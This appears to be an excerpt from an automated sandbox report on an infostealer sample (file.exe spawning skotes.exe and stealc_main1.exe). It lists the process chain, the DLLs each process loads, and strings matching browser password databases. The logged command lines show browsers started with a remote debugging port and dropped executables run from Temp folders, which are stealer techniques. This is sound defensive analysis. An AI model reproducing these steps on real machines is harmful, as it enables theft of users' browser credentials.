Source: file.exe, 00000000.00000003.1763277735.000000001D8D9000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1674640687.000000001D8E5000.00000004.00000020.00020000.00000000.sdmp, GHJDHDAECBGCAKEBAEBA.0.dr	Binary or memory string: CREATE TABLE password_notes (id INTEGER PRIMARY KEY AUTOINCREMENT, parent_id INTEGER NOT NULL REFERENCES logins ON UPDATE CASCADE ON DELETE CASCADE DEFERRABLE INITIALLY DEFERRED, key VARCHAR NOT NULL, value BLOB, date_created INTEGER NOT NULL, confidential INTEGER, UNIQUE (parent_id, key));
Source: file.exe, 00000000.00000002.2014429927.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, file.exe, 00000000.00000002.2007460047.000000001D9EB000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: CREATE TABLE "%w"."%w_parent"(nodeno INTEGER PRIMARY KEY,parentnode);
Source: softokn3[1].dll.0.dr	Binary or memory string: SELECT ALL * FROM %s LIMIT 0;CREATE TEMPORARY TABLE %s AS SELECT * FROM %sD
Source: file.exe, 00000000.00000002.2014429927.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, file.exe, 00000000.00000002.2007460047.000000001D9EB000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: CREATE TABLE x(type TEXT,schema TEXT,name TEXT,wr INT,subprog TEXT,stmt HIDDEN);
Source: softokn3[1].dll.0.dr	Binary or memory string: SELECT DISTINCT %s FROM %s where id=$ID LIMIT 1;

Source: file.exe

ReversingLabs: Detection: 42%

Source: file.exe	String found in binary or memory: 3Cannot find '%s'. Please, re-install this application
Source: DocumentsKKJKFBKKEC.exe	String found in binary or memory: 3Cannot find '%s'. Please, re-install this application
Source: skotes.exe	String found in binary or memory: 3Cannot find '%s'. Please, re-install this application
Source: skotes.exe	String found in binary or memory: 3Cannot find '%s'. Please, re-install this application

Source: unknown	Process created: C:\Users\user\Desktop\file.exe "C:\Users\user\Desktop\file.exe"
Source: C:\Users\user\Desktop\file.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --remote-debugging-port=9229 --profile-directory="Default"
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2272 --field-trial-handle=1964,i,17461991951549720084,17036428689218554913,262144 /prefetch:8
Source: C:\Users\user\Desktop\file.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --remote-debugging-port=9229 --profile-directory="Default"
Source: unknown	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --remote-debugging-port=9229 --profile-directory=Default --flag-switches-begin --flag-switches-end --disable-nacl --do-not-de-elevate
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=2700 --field-trial-handle=2572,i,12105014856402712753,6797310360331818284,262144 /prefetch:3
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=2180 --field-trial-handle=2084,i,570860231196187627,11256819945542102034,262144 /prefetch:3
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=asset_store.mojom.AssetStoreService --lang=en-GB --service-sandbox-type=asset_store_service --mojo-platform-channel-handle=6524 --field-trial-handle=2084,i,570860231196187627,11256819945542102034,262144 /prefetch:8
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=entity_extraction_service.mojom.Extractor --lang=en-GB --service-sandbox-type=entity_extraction --onnx-enabled-for-ee --mojo-platform-channel-handle=6844 --field-trial-handle=2084,i,570860231196187627,11256819945542102034,262144 /prefetch:8
Source: C:\Users\user\Desktop\file.exe	Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\system32\cmd.exe" /c start "" "C:\Users\user\DocumentsKKJKFBKKEC.exe"
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Users\user\DocumentsKKJKFBKKEC.exe "C:\Users\user\DocumentsKKJKFBKKEC.exe"
Source: C:\Users\user\DocumentsKKJKFBKKEC.exe	Process created: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe "C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe"
Source: unknown	Process created: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=edge_search_indexer.mojom.SearchIndexerInterfaceBroker --lang=en-GB --service-sandbox-type=search_indexer --message-loop-type-ui --mojo-platform-channel-handle=6948 --field-trial-handle=2084,i,570860231196187627,11256819945542102034,262144 /prefetch:8
Source: unknown	Process created: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1007698001\stealc_main1.exe "C:\Users\user\AppData\Local\Temp\1007698001\stealc_main1.exe"
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1007699001\2bb39d7142.exe "C:\Users\user\AppData\Local\Temp\1007699001\2bb39d7142.exe"
Source: C:\Users\user\Desktop\file.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --remote-debugging-port=9229 --profile-directory="Default"	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --remote-debugging-port=9229 --profile-directory="Default"	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\system32\cmd.exe" /c start "" "C:\Users\user\DocumentsKKJKFBKKEC.exe"	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2272 --field-trial-handle=1964,i,17461991951549720084,17036428689218554913,262144 /prefetch:8	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=2700 --field-trial-handle=2572,i,12105014856402712753,6797310360331818284,262144 /prefetch:3	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=2180 --field-trial-handle=2084,i,570860231196187627,11256819945542102034,262144 /prefetch:3	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=asset_store.mojom.AssetStoreService --lang=en-GB --service-sandbox-type=asset_store_service --mojo-platform-channel-handle=6524 --field-trial-handle=2084,i,570860231196187627,11256819945542102034,262144 /prefetch:8	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=entity_extraction_service.mojom.Extractor --lang=en-GB --service-sandbox-type=entity_extraction --onnx-enabled-for-ee --mojo-platform-channel-handle=6844 --field-trial-handle=2084,i,570860231196187627,11256819945542102034,262144 /prefetch:8	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe "C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe"	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=edge_search_indexer.mojom.SearchIndexerInterfaceBroker --lang=en-GB --service-sandbox-type=search_indexer --message-loop-type-ui --mojo-platform-channel-handle=6948 --field-trial-handle=2084,i,570860231196187627,11256819945542102034,262144 /prefetch:8	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Users\user\DocumentsKKJKFBKKEC.exe "C:\Users\user\DocumentsKKJKFBKKEC.exe"
Source: C:\Users\user\DocumentsKKJKFBKKEC.exe	Process created: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe "C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe"
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1007698001\stealc_main1.exe "C:\Users\user\AppData\Local\Temp\1007698001\stealc_main1.exe"
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1007699001\2bb39d7142.exe "C:\Users\user\AppData\Local\Temp\1007699001\2bb39d7142.exe"

Source: C:\Users\user\Desktop\file.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: rstrtmgr.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: mozglue.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: wsock32.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: vcruntime140.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: msvcp140.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: vcruntime140.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: pcacli.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: sfc_os.dll	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Section loaded: apphelp.dll
Source: C:\Users\user\DocumentsKKJKFBKKEC.exe	Section loaded: apphelp.dll
Source: C:\Users\user\DocumentsKKJKFBKKEC.exe	Section loaded: winmm.dll
Source: C:\Users\user\DocumentsKKJKFBKKEC.exe	Section loaded: wininet.dll
Source: C:\Users\user\DocumentsKKJKFBKKEC.exe	Section loaded: sspicli.dll
Source: C:\Users\user\DocumentsKKJKFBKKEC.exe	Section loaded: kernel.appcore.dll
Source: C:\Users\user\DocumentsKKJKFBKKEC.exe	Section loaded: uxtheme.dll
Source: C:\Users\user\DocumentsKKJKFBKKEC.exe	Section loaded: mstask.dll
Source: C:\Users\user\DocumentsKKJKFBKKEC.exe	Section loaded: windows.storage.dll
Source: C:\Users\user\DocumentsKKJKFBKKEC.exe	Section loaded: wldp.dll
Source: C:\Users\user\DocumentsKKJKFBKKEC.exe	Section loaded: mpr.dll
Source: C:\Users\user\DocumentsKKJKFBKKEC.exe	Section loaded: dui70.dll
Source: C:\Users\user\DocumentsKKJKFBKKEC.exe	Section loaded: duser.dll
Source: C:\Users\user\DocumentsKKJKFBKKEC.exe	Section loaded: chartv.dll
Source: C:\Users\user\DocumentsKKJKFBKKEC.exe	Section loaded: onecoreuapcommonproxystub.dll
Source: C:\Users\user\DocumentsKKJKFBKKEC.exe	Section loaded: oleacc.dll
Source: C:\Users\user\DocumentsKKJKFBKKEC.exe	Section loaded: atlthunk.dll
Source: C:\Users\user\DocumentsKKJKFBKKEC.exe	Section loaded: textinputframework.dll
Source: C:\Users\user\DocumentsKKJKFBKKEC.exe	Section loaded: coreuicomponents.dll
Source: C:\Users\user\DocumentsKKJKFBKKEC.exe	Section loaded: coremessaging.dll
Source: C:\Users\user\DocumentsKKJKFBKKEC.exe	Section loaded: ntmarta.dll
Source: C:\Users\user\DocumentsKKJKFBKKEC.exe	Section loaded: wintypes.dll
Source: C:\Users\user\DocumentsKKJKFBKKEC.exe	Section loaded: wintypes.dll
Source: C:\Users\user\DocumentsKKJKFBKKEC.exe	Section loaded: wintypes.dll
Source: C:\Users\user\DocumentsKKJKFBKKEC.exe	Section loaded: wtsapi32.dll
Source: C:\Users\user\DocumentsKKJKFBKKEC.exe	Section loaded: winsta.dll
Source: C:\Users\user\DocumentsKKJKFBKKEC.exe	Section loaded: textshaping.dll
Source: C:\Users\user\DocumentsKKJKFBKKEC.exe	Section loaded: propsys.dll
Source: C:\Users\user\DocumentsKKJKFBKKEC.exe	Section loaded: windows.staterepositoryps.dll
Source: C:\Users\user\DocumentsKKJKFBKKEC.exe	Section loaded: windows.fileexplorer.common.dll
Source: C:\Users\user\DocumentsKKJKFBKKEC.exe	Section loaded: iertutil.dll
Source: C:\Users\user\DocumentsKKJKFBKKEC.exe	Section loaded: profapi.dll
Source: C:\Users\user\DocumentsKKJKFBKKEC.exe	Section loaded: explorerframe.dll
Source: C:\Users\user\DocumentsKKJKFBKKEC.exe	Section loaded: edputil.dll
Source: C:\Users\user\DocumentsKKJKFBKKEC.exe	Section loaded: urlmon.dll
Source: C:\Users\user\DocumentsKKJKFBKKEC.exe	Section loaded: srvcli.dll
Source: C:\Users\user\DocumentsKKJKFBKKEC.exe	Section loaded: netutils.dll
Source: C:\Users\user\DocumentsKKJKFBKKEC.exe	Section loaded: appresolver.dll
Source: C:\Users\user\DocumentsKKJKFBKKEC.exe	Section loaded: bcp47langs.dll
Source: C:\Users\user\DocumentsKKJKFBKKEC.exe	Section loaded: slc.dll
Source: C:\Users\user\DocumentsKKJKFBKKEC.exe	Section loaded: userenv.dll
Source: C:\Users\user\DocumentsKKJKFBKKEC.exe	Section loaded: sppc.dll
Source: C:\Users\user\DocumentsKKJKFBKKEC.exe	Section loaded: onecorecommonproxystub.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: apphelp.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: winmm.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: wininet.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: kernel.appcore.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: winmm.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: wininet.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: kernel.appcore.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: winmm.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: wininet.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: sspicli.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: iertutil.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: windows.storage.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: wldp.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: profapi.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: kernel.appcore.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: winhttp.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: mswsock.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: iphlpapi.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: winnsi.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: urlmon.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: srvcli.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: netutils.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: uxtheme.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: propsys.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: edputil.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: windows.staterepositoryps.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: wintypes.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: appresolver.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: bcp47langs.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: slc.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: userenv.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: sppc.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: onecorecommonproxystub.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: onecoreuapcommonproxystub.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: apphelp.dll
Source: C:\Users\user\AppData\Local\Temp\1007698001\stealc_main1.exe	Section loaded: apphelp.dll
Source: C:\Users\user\AppData\Local\Temp\1007698001\stealc_main1.exe	Section loaded: sspicli.dll
Source: C:\Users\user\AppData\Local\Temp\1007698001\stealc_main1.exe	Section loaded: wininet.dll
Source: C:\Users\user\AppData\Local\Temp\1007698001\stealc_main1.exe	Section loaded: rstrtmgr.dll
Source: C:\Users\user\AppData\Local\Temp\1007698001\stealc_main1.exe	Section loaded: ncrypt.dll
Source: C:\Users\user\AppData\Local\Temp\1007698001\stealc_main1.exe	Section loaded: ntasn1.dll
Source: C:\Users\user\AppData\Local\Temp\1007698001\stealc_main1.exe	Section loaded: iertutil.dll
Source: C:\Users\user\AppData\Local\Temp\1007698001\stealc_main1.exe	Section loaded: windows.storage.dll
Source: C:\Users\user\AppData\Local\Temp\1007698001\stealc_main1.exe	Section loaded: wldp.dll
Source: C:\Users\user\AppData\Local\Temp\1007698001\stealc_main1.exe	Section loaded: profapi.dll
Source: C:\Users\user\AppData\Local\Temp\1007698001\stealc_main1.exe	Section loaded: kernel.appcore.dll
Source: C:\Users\user\AppData\Local\Temp\1007698001\stealc_main1.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1007698001\stealc_main1.exe	Section loaded: winhttp.dll
Source: C:\Users\user\AppData\Local\Temp\1007698001\stealc_main1.exe	Section loaded: mswsock.dll
Source: C:\Users\user\AppData\Local\Temp\1007698001\stealc_main1.exe	Section loaded: iphlpapi.dll
Source: C:\Users\user\AppData\Local\Temp\1007698001\stealc_main1.exe	Section loaded: winnsi.dll
Source: C:\Users\user\AppData\Local\Temp\1007698001\stealc_main1.exe	Section loaded: urlmon.dll
Source: C:\Users\user\AppData\Local\Temp\1007698001\stealc_main1.exe	Section loaded: srvcli.dll
Source: C:\Users\user\AppData\Local\Temp\1007698001\stealc_main1.exe	Section loaded: netutils.dll
Source: C:\Users\user\AppData\Local\Temp\1007699001\2bb39d7142.exe	Section loaded: apphelp.dll
Source: C:\Users\user\AppData\Local\Temp\1007699001\2bb39d7142.exe	Section loaded: winmm.dll
Source: C:\Users\user\AppData\Local\Temp\1007699001\2bb39d7142.exe	Section loaded: iphlpapi.dll
Source: C:\Users\user\AppData\Local\Temp\1007699001\2bb39d7142.exe	Section loaded: cryptbase.dll
Source: C:\Users\user\AppData\Local\Temp\1007699001\2bb39d7142.exe	Section loaded: cryptsp.dll
Source: C:\Users\user\AppData\Local\Temp\1007699001\2bb39d7142.exe	Section loaded: rsaenh.dll
Source: C:\Users\user\AppData\Local\Temp\1007699001\2bb39d7142.exe	Section loaded: dhcpcsvc6.dll
